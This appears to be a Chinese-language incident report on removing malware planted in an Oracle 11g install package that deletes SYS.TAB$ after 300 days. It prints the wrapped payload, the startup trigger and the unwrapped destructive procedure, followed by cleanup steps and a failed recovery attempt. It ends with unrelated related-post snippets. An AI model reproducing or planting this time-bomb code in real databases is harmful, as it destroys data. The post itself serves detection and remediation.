Oracle恶意代码(300天删除SYS.TAB$表)清除过程记录
1. 故障现象
客户在进行灾备演练时,发现通过快照复制过来的数据库无法正常启动,报ORA-00600和16730的错误:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 29255
Session ID: 191 Serial number: 3
2. 故障分析
根据网上找到的资料,判断是数据库安装介质中被植入的恶意代码(勒索病毒的变种)在数据库运行了300天之后删除了sys.tab$表导致。以下是恶意代码的特征:
1)查看数据库软件的文件prvtsupp.plb,在程序包dbms_support的主体中可以看到多了以下内容:
cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb
...
create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin DBMS_SUPPORT_DBMONITORP;
end;
/
unwrap多出的内容显示,恶意代码创建了一个存储过程DBMS_SUPPORT_DBMONITORP和触发器DBMS_SUPPORT_DBMONITOR,数据库在运行了300天以后在下一次实例重启时触发器会删除SYS.TAB$表,导致数据库无法启动。
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;
END;
2)在还未重启的主库上可以看到恶意代码创建的存储过程和触发器,查看程序包的内容,和上面文件中显示的相同。
SQL> select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects2 where object_name like 'DBMS_STANDARD_FUN9 %'3 union all4 select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects5 where object_name like 'DBMS_CORE_INTERNAL %'6 union all7 select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects8 where object_name like 'DBMS_SYSTEM_INTERNAL %'9 union all10 select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects11 where object_name like 'DBMS_SUPPORT_INTERNAL %'12 union all13 select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects14 where object_name like 'DBMS_SUPPORT%';
3)检查被植入恶意代码的数据库11g安装软件包的SHA1值,与官方下载的安装包不一致:
官方下载的安装包的SHA1值:
3. 故障处理过程
3.1. 备机恢复
由于主库运行300天后还没进行重启,没有触发恶意代码删除sys.tab$表。于是,对主库重新生成新的快照,使用新的快照来复制主库到备机。
1)在备机上启动数据库到挂载模式
SQL> startup mount;
2)在备机上禁用触发器,以避免打开数据库时触发恶意代码执行:
SQL> alter system set “_system_trig_enabled”=false scope=both;
3)在备机上打开数据库
SQL> alter database open
4)在备机上删除恶意代码创建的触发器和存储过程,删除程序包DBMS_SUPPORT
SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
SQL> drop PACKAGE DBMS_SUPPORT;
5)在备机上编辑$ORACLE_HOME/rdbms/admin/prvtsupp.plb文件,清除程序包dbms_support主体中以上列出的中比正常文件多出的恶意代码,或者直接清空文件。
6)在备机上启用触发器:
SQL> alter system set “_system_trig_enabled”=true scope=both;
3.2. 主机修复
执行3.1中的第4和第5步骤,清除主库中的恶意代码。
3.3. 尝试进行sys.tab$表修复
找了一个数据库专家使用bbed脚本(请参考https://blog.csdn.net/linsenaa/article/details/121094839)对已经删除了表sys.tab$的数据库进行数据文件扫描修复测试,成功修复后可以正常打开数据库,但对数据文件进行验证时,文件1有大量的逻辑损坏报错,如下所示:
RMAN> BACKUP VALIDATE CHECK LOGICAL DATABASE;
Error backing up file 1, block 145: logical corruption
Error backing up file 1, block 146: logical corruption
Error backing up file 1, block 147: logical corruption
...
Error backing up file 1, block 94699: logical corruption
Error backing up file 1, block 99995: logical corruption
Error backing up file 1, block 99996: logical corruption=================
File Status Marked Corrupt Empty Blocks Blocks Examined High SCN
---- ------ -------------- ------------ --------------- ----------
1 FAILED 0 13436 90883 1013574 File Name: /u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbfBlock Type Blocks Failing Blocks Processed---------- -------------- ----------------Data 564 56696 Index 0 11682 Other 0 9066 validate found one or more corrupt blocks
See trace file /u01/app/oracle/diag/rdbms/orcl11g/orcl11g/trace/orcl11g_ora_4766.trc for details
再次删除sys.tab$表时,数据库会报以下错误,不能删除该表,有可能是恢复的表结构不正常,导致无法对其进行删除:
SQL> delete sys.tab$;
delete sys.tab$*
ERROR at line 1:
ORA-00600: internal error code, arguments: [kdBlkCheckError], [1], [145],
[6110], [], [], [], [], [], [], [], []
然而,在打开数据库后始终无法导出用户数据,报以下错误:
Export: Release 11.2.0.4.0 - Production on Mon Oct 10 00:38:51 2022Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved.Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORA-31626: job does not exist
ORA-31633: unable to create master table "SYSTEM.SYS_EXPORT_SCHEMA_05"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 95
ORA-06512: at "SYS.KUPV$FT", line 1038
ORA-01578: ORACLE data block corrupted (file # 1, block # 82296)
ORA-01110: data file 1: '/u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbf'
因此,当sys.tab$表被删除时可能只能依赖于备份进行恢复,用bbed来进行恢复可能行得通但会非常复杂,恢复不完整将无法导出数据。
Oracle恶意代码(300天删除SYS.TAB$表)清除过程记录相关推荐
- mysql 删除另一个表中的_mysql – 在一个查询SQL中删除两个表中的记录
我有两张桌子 EMPGROUP_TBL SEQID | MASTERID | BUSINESS_UNIT | DIVISION | SUB_DIVISION | CLASSIFICATION | SU ...
- SqlServer--用代码创建和删除数据库和表
创建数据库,创建表,设置主键 数据库的分离和附加 MS SQLServer的每个数据库包含: 1个主数据文件(.mdf)必须. 1个事务日志文件(.ldf)必须. 可以包含: 任意多个次要数据文件(. ...
- Oracle查询重复数据并删除,只保留一条记录
1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...
- Oracle用rowid删除同一张表的重复记录
经常有这样一个业务场景,我们在同一张表中有重复的记录,我们要删除重复的记录,这篇文章就是用来解决这个问题的,用的方法是我目前遇到的效率最高的方法(如果有更好的方法欢迎网友提供).这个方法会用到了row ...
- oracle 保留一个记录吗,笔记:Oracle查询重复数据并删除,只保留一条记录
1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...
- oracle查询重复保留一条-删除,Oracle查询重复数据并删除,只保留一条记录
前言 项目中,在"资源目录-在线编目"中,资源项子表存在多条重发数据,需要进行数据清理,删除重发的数据,最终只保留一条相同的数据. 操作的表名:R_RESOURCE_DETAILS ...
- 删除千万级表中重复记录的办法
1. 选择候选键,60个字段,应该只用其中几个就可以判断重复了吧. 在候选键的这些字段上建立索引. CREATE TRIGGER tr_历史交易表 ...
- linux服务器上网页变形,Linux服务器上用iScanner删除网页恶意代码的方法
第一步:安装 首先要确保服务器上已经安装了Ruby 复制代码代码如下: #ruby -v //查看ruby的版本信息 如果服务器上没有安装,可以通过yum或者apt-get安装ruby(根据自己服务器 ...
- 网站被黑后处理方法及删除批量恶意代码的方法步骤
网站被黑后处理方法及删除批量恶意代码的方法步骤 如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网 ...
最新文章
- LeetCode Intersection of Two Arrays
- mxnet基础到提高(44)-ndarray.arange创建行向量
- IIS连接数、IIS并发连接数、IIS最大并发工作线程数、应用程序池的队列长度、应用程序池的...
- http通信协议的基本原理
- 武汉游记,三件新鲜奇葩事
- 关于HTML使用ComDlg ActiveX 无法弹出相应对话框的问题1
- python的常量和变量_python变量和常量
- Android之封装倒计时页面
- IAR astyle代码美化
- 天池发起全球城市计算AI挑战赛-总奖池30万人民币
- iPhone位置跟踪器 For Windows版
- linux鸟叔的私房菜txt,鸟哥的Linux私房菜(pdf+epub+mobi+txt+azw3)
- 完全支持双层PDF 开源的PDF分离与合并软件 C 版本 转自codeproject
- 今晚直播丨易鲸捷HTAP融合型分布式数据库问题诊断介绍
- python——【1】gzip压缩文件
- Redis-keys命令
- 三种设计满足需求 网吧网络解决方案(转)
- html图片点击左右滑动效果,基于jquery实现点击左右按钮图片横向滚动
- 使用fiddler进行发包
- 《网络攻防》 MSF基础应用